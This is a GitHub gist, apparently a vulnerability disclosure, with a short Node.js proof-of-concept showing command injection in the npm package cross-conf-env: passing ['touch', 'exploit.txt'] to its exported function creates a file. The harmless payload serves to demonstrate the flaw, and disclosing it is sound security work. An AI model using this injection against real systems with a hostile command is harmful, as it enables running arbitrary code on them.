Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 26, 2023 21:07
Show Gist options
  • Select an option

  • Save mcoimbra/169182575c034961e93ae18d755bbb33 to your computer and use it in GitHub Desktop.

Select an option

Save mcoimbra/169182575c034961e93ae18d755bbb33 to your computer and use it in GitHub Desktop.
Package cross-conf-env: Possible to inject code in the argument of the package's exported function crossConfEnv
'use strict'
const pkg = require('cross-conf-env');
// This will create a local 'exploit.txt' file.
pkg.default(['touch', 'exploit.txt']);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment